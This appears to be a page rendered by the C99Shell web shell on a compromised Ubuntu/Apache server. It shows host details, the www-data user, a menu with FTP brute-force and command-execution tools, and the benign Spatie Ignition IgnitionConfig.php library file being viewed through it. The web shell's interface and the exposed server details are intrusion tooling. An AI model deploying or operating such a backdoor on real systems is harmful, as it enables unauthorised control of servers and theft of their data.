!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/spatie/ignition/src/Config/   drwxrwxr-x
Free 13.09 GB of 57.97 GB (22.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     IgnitionConfig.php (6.16 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Ignition\Config;

use 
Illuminate\Contracts\Support\Arrayable;
use 
Throwable;

class 
IgnitionConfig implements Arrayable
{
    public static function 
loadFromConfigFile(): self
    
{
        return (new 
self())->loadConfigFile();
    }

    
/**
     * @param array<string, mixed> $options
     */
    
public function __construct(protected array $options = [])
    {
        
$defaultOptions $this->getDefaultOptions();

        
$this->options array_merge($defaultOptions$options);
    }

    public function 
setOption(string $namestring $value): self
    
{
        
$this->options[$name] = $value;

        return 
$this;
    }

    
/** @param array<string, string> $options */
    
public function merge(array $options): self
    
{
        
$this->options array_merge($this->options$options);

        return 
$this;
    }

    public function 
loadConfigFile(): self
    
{
        
$this->merge($this->getConfigOptions());

        return 
$this;
    }

    
/** @return array<string, mixed> */
    
public function getConfigOptions(): array
    {
        
$configFilePath = (new DefaultConfigFinder())->getConfigFilePath();

        
$options = [];

        if (
file_exists($configFilePath)) {
            
$content = (string)file_get_contents($configFilePath);

            
$options json_decode($contenttrue) ?? [];
        }

        return 
$options;
    }

    
/**
     * @param array<string, mixed> $options
     *
     * @return bool
     */
    
public function saveValues(array $options): bool
    
{
        
$configFilePath = (new DefaultConfigFinder())->getConfigFilePath();

        if (! 
$configFilePath) {
            return 
false;
        }

        try {
            
file_put_contents($configFilePathjson_encode($options));
        } catch (
Throwable) {
            return 
false;
        }

        return 
true;
    }

    public function 
hideSolutions(): bool
    
{
        return 
$this->options['hide_solutions'] ?? false;
    }

    public function 
editor(): ?string
    
{
        return 
$this->options['editor'] ?? null;
    }

    
/**
     * @return array<string, mixed> $options
     */
    
public function editorOptions(): array
    {
        return 
$this->options['editor_options'] ?? [];
    }

    public function 
remoteSitesPath(): ?string
    
{
        return 
$this->options['remote_sites_path'] ?? null;
    }

    public function 
localSitesPath(): ?string
    
{
        return 
$this->options['local_sites_path'] ?? null;
    }

    public function 
theme(): ?string
    
{
        return 
$this->options['theme'] ?? null;
    }

    public function 
shareButtonEnabled(): bool
    
{
        return (bool)(
$this->options['enable_share_button'] ?? false);
    }

    public function 
shareEndpoint(): string
    
{
        return 
$this->options['share_endpoint']
            ?? 
$this->getDefaultOptions()['share_endpoint'];
    }

    public function 
runnableSolutionsEnabled(): bool
    
{
        return (bool)(
$this->options['enable_runnable_solutions'] ?? false);
    }

    
/** @return array<string, mixed> */
    
public function toArray(): array
    {
        return [
            
'editor' => $this->editor(),
            
'theme' => $this->theme(),
            
'hideSolutions' => $this->hideSolutions(),
            
'remoteSitesPath' => $this->remoteSitesPath(),
            
'localSitesPath' => $this->localSitesPath(),
            
'enableShareButton' => $this->shareButtonEnabled(),
            
'enableRunnableSolutions' => $this->runnableSolutionsEnabled(),
            
'directorySeparator' => DIRECTORY_SEPARATOR,
            
'editorOptions' => $this->editorOptions(),
            
'shareEndpoint' => $this->shareEndpoint(),
        ];
    }


    
/**
     * @return array<string, mixed> $options
     */
    
protected function getDefaultOptions(): array
    {
        return [
            
'share_endpoint' => 'https://flareapp.io/api/public-reports',
            
'theme' => 'light',
            
'editor_options' => [
                
'sublime' => [
                    
'label' => 'Sublime',
                    
'url' => 'subl://open?url=file://%path&line=%line',
                ],
                
'textmate' => [
                    
'label' => 'TextMate',
                    
'url' => 'txmt://open?url=file://%path&line=%line',
                ],
                
'emacs' => [
                    
'label' => 'Emacs',
                    
'url' => 'emacs://open?url=file://%path&line=%line',
                ],
                
'macvim' => [
                    
'label' => 'MacVim',
                    
'url' => 'mvim://open/?url=file://%path&line=%line',
                ],
                
'phpstorm' => [
                    
'label' => 'PhpStorm',
                    
'url' => 'phpstorm://open?file=%path&line=%line',
                ],
                
'idea' => [
                    
'label' => 'Idea',
                    
'url' => 'idea://open?file=%path&line=%line',
                ],
                
'vscode' => [
                    
'label' => 'VS Code',
                    
'url' => 'vscode://file/%path:%line',
                ],
                
'vscode-insiders' => [
                    
'label' => 'VS Code Insiders',
                    
'url' => 'vscode-insiders://file/%path:%line',
                ],
                
'vscode-remote' => [
                    
'label' => 'VS Code Remote',
                    
'url' => 'vscode://vscode-remote/%path:%line',
                ],
                
'vscode-insiders-remote' => [
                    
'label' => 'VS Code Insiders Remote',
                    
'url' => 'vscode-insiders://vscode-remote/%path:%line',
                ],
                
'atom' => [
                    
'label' => 'Atom',
                    
'url' => 'atom://core/open/file?filename=%path&line=%line',
                ],
                
'nova' => [
                    
'label' => 'Nova',
                    
'url' => 'nova://core/open/file?filename=%path&line=%line',
                ],
                
'netbeans' => [
                    
'label' => 'NetBeans',
                    
'url' => 'netbeans://open/?f=%path:%line',
                ],
                
'xdebug' => [
                    
'label' => 'Xdebug',
                    
'url' => 'xdebug://%path@%line',
                ],
            ],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0089 ]--